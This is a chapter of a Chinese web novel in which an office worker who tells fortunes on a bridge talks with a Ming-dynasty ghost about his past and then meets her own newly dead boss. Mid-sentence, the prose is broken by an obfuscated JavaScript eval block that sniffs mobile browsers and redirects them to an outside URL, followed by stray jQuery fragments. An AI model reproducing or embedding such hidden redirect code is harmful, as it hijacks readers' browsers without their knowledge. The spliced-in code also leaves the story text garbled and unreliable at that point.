7. 遗物

作品:《您的用户不在服务区

    自从工作以后,张祎宁几乎就没享受过周日悠闲的夜晚,心里总惦记着KPI。


    为了庆祝搬新家、新生活的到来以及这几个月爆单的快乐,她在整洁又温馨的新家点了顿奢侈的外卖,奢侈到足够留出剩菜作为周一上班的两餐。


    吃饱喝足后她瘫在罗汉床上悠闲得无所事事。无所事事简直是世界上最有意义的人生大事。她尽力抛掉对刘元詹的歉疚感,安心地窝着一动不动。


    刘元詹毕竟是鬼嘛,鬼能有什么事可做的?到处游荡还不如帮我看看摊子,那谁叫我是人呢?人可忙了,这要做那要做的,况且我还是掌簿,还答应了要帮他,那为了我也为了他自己,帮我这么一点点点小忙应该没问题吧?


    嗯,没问题的。


    张祎宁给自己做完全套流程的心理安慰后,起身走到窗边,她不想承认,搬到新家的第一天就遇到小鬼,这是凶兆,毕竟自己来了这么多次,早不见晚不见,偏偏尘埃落定后见到,都不给自己反悔的机会,唉……


    像是自己精心把一块大饼分好了,就留了一小块围在脖子上,偏偏别人看不到那些分好的,逮着机会就要往自己脖子上来一口。


    楼下的路灯灯光稍有些昏暗,影影绰绰的,飞虫的影子映在水泥地上,就变成了一闪而过的巨大黑影,奇妙的动态总将人的目光吸引过去。


    树下一片漆黑,路灯的光照范围只到石桌一角,她看不清那个小鬼是不是还在树底下,毕竟以他的形态,几乎是与黑夜融为一体的。她只看了一会儿就收回视线,逃避了一下午,可不能在自家里被抓个正着。


    平时忙着还没感觉,今天清闲地早早躺在床上,倒是平白生出空落之感,也许这就是传说中的周日综合征,想到明日就是新一周忙碌的开始,就有种不想时间前进的迫切感,再与现在的舒适作对比,迷茫、痛苦横亘在心头,她烦躁地翻来滚去,只能乱蹬被子出气。


    张祎宁啊张祎宁,这辈子可预见的你就是个劳碌命了,早做准备吧,给资本打工和给阎王打工都一样,是条不归路。


    就在这唉声叹气中,她接受了自己的命运,睡了过去。


    第二天早上张祎宁九点才出门,比起之前住学校宿舍需要坐地铁或者骑自行车才能到公司,现在住的这个小区距公司只有两条街道之隔,她完全可以走路上下班,摆摊的天桥则在相反的另一个方向。


    她又看见了那个小鬼,正背向着自己蹲在墙角不知捣鼓些什么,她不敢放慢步子,也不敢多瞧两眼,小鬼是最缠人的。


    *


    筋疲力尽捱到了晚上,张祎宁急急忙忙赶往天桥,今天又免费加了一个小时的班,要不是上司又犯轴,她早就下班了,想到脾气古怪的上司,想到明天还得面对那一大堆令人头疼的废纸,她就感到绝望。可惜人看不到鬼,不然她就找两个小鬼去吓吓上司,让他多积点德,少祸害人。


    刘元詹果然早早就到了,站在那左闪右避的,躲过匆匆而过的行人,他皱着眉头,一脸严肃,脚下没有章法,胡乱地四下躲闪,像是在跳一曲滑稽的个人独舞。


    张祎宁就站在不远处看着,没忍住噗嗤一声笑了出来,直到看到他抬起手,以宽袖擦了擦额角,似在拭汗,才慢悠悠走过去。


    “刘元詹,到得可真早呀。”


    她一边揶揄着,一边从包里掏出折叠凳和卡纸板。


    刘元詹松了口气,不自觉向张祎宁靠近一步,靠得越近,就越不容易碰到旁人。


    “昨日有二人来寻你。”


    果然有客上门!


    “他们有说是什么差事吗?你又是怎么跟他们说的?”她饶有兴致地问道。


    刘元詹站在边上看张祎宁蹲着摆弄折叠凳,闻言意兴盎然地抬脸看他,只好继续站着,答道:“未说因由,我让他们今日再来此处寻你。”


    “啧,你这可不是待客之道啊。”她小声嘟哝了一句,但声音极小,怕是不敢让刘元詹听见。


    将摊子张罗开后,刘元詹就自然地坐在了外侧的凳子上。


    张祎宁看着他,还是堆出了之前的笑脸,“谢谢你帮我看摊子,要没有你,这两个顾客指不定就跑了呢。”


    “那你的事情完成了吗?”


    “嗯嗯!完成了!我也有自己的家了,虽然还是租来的,但我很满意。”


    “那就好。”他噙着笑,点点头。


    见刘元詹没再对周末义务帮自己加班看摊的事有什么不满,她内心里那一小点点的愧疚荡然无存。


    放松下来后,她很自然地切换成了闲聊模式:“刘元詹,你最近对以前的事情有没有什么新的记忆,我很好奇呢。”


    他问道:“多远以前?”


    “你能想到的多远就是多远。”


    “无甚特别的,记忆里大概就一直呆着这个……这个城市?”他斟酌了一下用词,“最开始应该是在一户人家里呆了一阵,但已然忘记他们的模样,后来四处游走寻找适合的栖身之所。你见到我的那处,是我刚觅得不久的地方,从那里可以望见湖心。”


    “在别人家里呆了一阵?是你认识的人家吗?”


    他摇摇头,“应当不是。”


    “那你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448784|185225||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这算私闯民宅啊。”想到那户人家就这么跟一个六百多年老鬼同住屋檐下一段时间,她都替他们打了个寒颤,好在自己现在能看见鬼,她可不想跟鬼同住一屋。


    “人气太盛,我也略感不适。”


    “在这之前的就都忘了?”


    听他随口提起的,也不知历经了多久,也许这随口两三句就已经是许多人的一辈子之久。


    “很是模糊,千篇一律,就都记不清了。”


    张祎宁继续追问:“你觉得这个城市是你的家吗?就是曾经,曾经会是你的生长之地吗?”


    他也很耐心地回话:“不是。我有印象自己是从别处而来。”


    “哦?”张祎宁挑了下眉毛,“你们不会被束缚在某地吗?比如出生或者死亡的地方?”


    “应是不会。”


    “那多爽啊!你这六百年说不定早都环游过中国了,又或者早都到开辟的新大陆上转过一圈了!”


    《明朝遗物:六百年鬼身环游记》


    连标题都给他想好了,往后她就多加引导,比如带刘元詹看看明朝遗迹之类的,试图刺激起他久远的回忆,说不准他就想起来了,到那时,嘿嘿,抱着棵摇钱树,谁还打工啊!


    啧,世界之大,无奇不有。


    刘元詹认真道:“但也许是有的。为鬼身,执人念,与人有关的就局限在一时一地,执念断,鬼身散,这束缚是自身施加的。”


    张祎宁闻言,若有所思地点点头,又忍不住看向刘元詹,那他确实是个异类啊,像是一个无解的bug,不是没有解决的办法,而是逻辑链条的最开始,这个命题就是个伪命题,伪命题难以导向真答案,但这个命题又没有归正的办法。


    嘶,我真的能帮得了他吗?张祎宁突然生出一种无力感,连阎王都不想管的事情,她非上赶着放大话,这下真是搬起石头砸自己的脚了。


    正自懊恼,她听见有熟悉的声音在唤自己的名字。


    “张祎宁?”


    “到!”她条件反射地站了起来,带翻了凳子。


    谁?谁对我直呼大名?不会是遇到现实生活中的熟人了吧?这可尴尬,堂堂办公室女白领下班后竟在天桥上摆摊算命,这传出去我就直接社会性死亡了。


    她战战兢兢地往声源处望去。


    熟悉的面孔映入眼帘,但又是那么的陌生。


    来人她不止认识,日日相对,甚至在两个小时前,还有过对话。


    他是活阎王,张祎宁的直属上司。


    但他的身体现在是透明的。


    他死了。